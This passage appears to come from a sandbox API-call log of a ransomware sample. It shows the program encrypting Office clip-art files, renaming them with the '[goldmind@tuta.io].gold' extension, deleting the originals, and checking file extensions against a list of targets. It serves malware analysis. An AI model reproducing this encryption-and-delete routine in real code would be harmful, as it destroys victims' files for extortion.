"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.974] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5504) returned 1 [0104.974] CloseHandle (hObject=0x3a8) returned 1 [0104.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0104.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.974] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.974] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.975] GetLastError () returned 0x0 [0104.975] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1580, lpOverlapped=0x0) returned 1 [0104.979] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1590, lpOverlapped=0x0) returned 1 [0104.980] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.980] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.980] SetEndOfFile (hFile=0x3c8) returned 1 [0104.980] CloseHandle (hObject=0x3c8) returned 1 [0104.980] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.980] SetEndOfFile (hFile=0x3a8) returned 1 [0104.983] CloseHandle (hObject=0x3a8) returned 1 [0104.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0104.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.984] lstrlenW (lpString=".doc") returned 4 [0104.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.984] lstrlenW (lpString=".docx") returned 5 [0104.984] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.984] lstrlenW (lpString=".pdf") returned 4 [0104.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.984] lstrlenW (lpString=".xls") returned 4 [0104.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.984] lstrlenW (lpString=".xlsx") returned 5 [0104.984] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.984] lstrlenW (lpString=".ppt") returned 4 [0104.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.984] lstrlenW (lpString=".zip") returned 4 [0104.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.984] lstrlenW (lpString=".rar") returned 4 [0104.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.984] lstrlenW (lpString=".bz2") returned 4 [0104.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.984] lstrlenW (lpString=".7z") returned 3 [0104.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.984] lstrlenW (lpString=".dbf") returned 4 [0104.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".1cd") returned 4 [0104.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".jpg") returned 4 [0104.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".doc") returned 4 [0104.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString=".docx") returned 5 [0104.985] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.985] lstrlenW (lpString=".pdf") returned 4 [0104.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString=".xls") returned 4 [0104.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.985] lstrlenW (lpString=".xlsx") returned 5 [0104.985] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.985] lstrlenW (lpString=".ppt") returned 4 [0104.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".zip") returned 4 [0104.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.985] lstrlenW (lpString=".rar") returned 4 [0104.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString=".bz2") returned 4 [0104.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString=".7z") returned 3 [0104.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".dbf") returned 4 [0104.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".1cd") returned 4 [0104.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned 63 [0104.985] lstrlenW (lpString=".jpg") returned 4 [0104.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.985] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.985] lstrlenW (lpString="J0105306.WMF") returned 12 [0104.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0105.067] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4320) returned 1 [0105.067] CloseHandle (hObject=0x188) returned 1 [0105.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0105.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.157] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.157] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.159] GetLastError () returned 0x0 [0105.159] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x10e0, lpOverlapped=0x0) returned 1 [0105.231] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x10f0, lpOverlapped=0x0) returned 1 [0105.232] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.232] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.232] SetEndOfFile (hFile=0x3a8) returned 1 [0105.233] CloseHandle (hObject=0x3a8) returned 1 [0105.233] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.233] SetEndOfFile (hFile=0x364) returned 1 [0105.234] CloseHandle (hObject=0x364) returned 1 [0105.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0105.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.235] lstrlenW (lpString=".doc") returned 4 [0105.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.235] lstrlenW (lpString=".docx") returned 5 [0105.235] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.235] lstrlenW (lpString=".pdf") returned 4 [0105.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.235] lstrlenW (lpString=".xls") returned 4 [0105.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.235] lstrlenW (lpString=".xlsx") returned 5 [0105.235] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.236] lstrlenW (lpString=".ppt") returned 4 [0105.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".zip") returned 4 [0105.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.236] lstrlenW (lpString=".rar") returned 4 [0105.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".bz2") returned 4 [0105.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".7z") returned 3 [0105.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".dbf") returned 4 [0105.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".1cd") returned 4 [0105.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".jpg") returned 4 [0105.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".doc") returned 4 [0105.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".docx") returned 5 [0105.236] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.236] lstrlenW (lpString=".pdf") returned 4 [0105.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".xls") returned 4 [0105.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.236] lstrlenW (lpString=".xlsx") returned 5 [0105.236] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.236] lstrlenW (lpString=".ppt") returned 4 [0105.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".zip") returned 4 [0105.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.236] lstrlenW (lpString=".rar") returned 4 [0105.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".bz2") returned 4 [0105.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString=".7z") returned 3 [0105.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.236] lstrlenW (lpString=".dbf") returned 4 [0105.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.237] lstrlenW (lpString=".1cd") returned 4 [0105.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0105.237] lstrlenW (lpString=".jpg") returned 4 [0105.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.237] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.237] lstrlenW (lpString="J0105378.WMF") returned 12 [0105.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.239] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4964) returned 1 [0105.239] CloseHandle (hObject=0x364) returned 1 [0105.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0105.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.239] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.239] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.240] GetLastError () returned 0x0 [0105.240] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1364, lpOverlapped=0x0) returned 1 [0105.298] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0105.299] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.299] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.299] SetEndOfFile (hFile=0x3a8) returned 1 [0105.299] CloseHandle (hObject=0x3a8) returned 1 [0105.299] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.299] SetEndOfFile (hFile=0x364) returned 1 [0105.301] CloseHandle (hObject=0x364) returned 1 [0105.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".doc") returned 4 [0105.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".docx") returned 5 [0105.304] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.304] lstrlenW (lpString=".pdf") returned 4 [0105.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".xls") returned 4 [0105.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.304] lstrlenW (lpString=".xlsx") returned 5 [0105.304] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.304] lstrlenW (lpString=".ppt") returned 4 [0105.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".zip") returned 4 [0105.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.304] lstrlenW (lpString=".rar") returned 4 [0105.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".bz2") returned 4 [0105.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".7z") returned 3 [0105.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".dbf") returned 4 [0105.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".1cd") returned 4 [0105.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".jpg") returned 4 [0105.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.304] lstrlenW (lpString=".doc") returned 4 [0105.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".docx") returned 5 [0105.304] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.304] lstrlenW (lpString=".pdf") returned 4 [0105.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.304] lstrlenW (lpString=".xls") returned 4 [0105.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.304] lstrlenW (lpString=".xlsx") returned 5 [0105.304] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.304] lstrlenW (lpString=".ppt") returned 4 [0105.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.305] lstrlenW (lpString=".zip") returned 4 [0105.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.305] lstrlenW (lpString=".rar") returned 4 [0105.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.305] lstrlenW (lpString=".bz2") returned 4 [0105.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.305] lstrlenW (lpString=".7z") returned 3 [0105.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.305] lstrlenW (lpString=".dbf") returned 4 [0105.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.305] lstrlenW (lpString=".1cd") returned 4 [0105.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0105.305] lstrlenW (lpString=".jpg") returned 4 [0105.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.305] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.305] lstrlenW (lpString="J0105384.WMF") returned 12 [0105.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.306] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5880) returned 1 [0105.306] CloseHandle (hObject=0x364) returned 1 [0105.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0105.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program 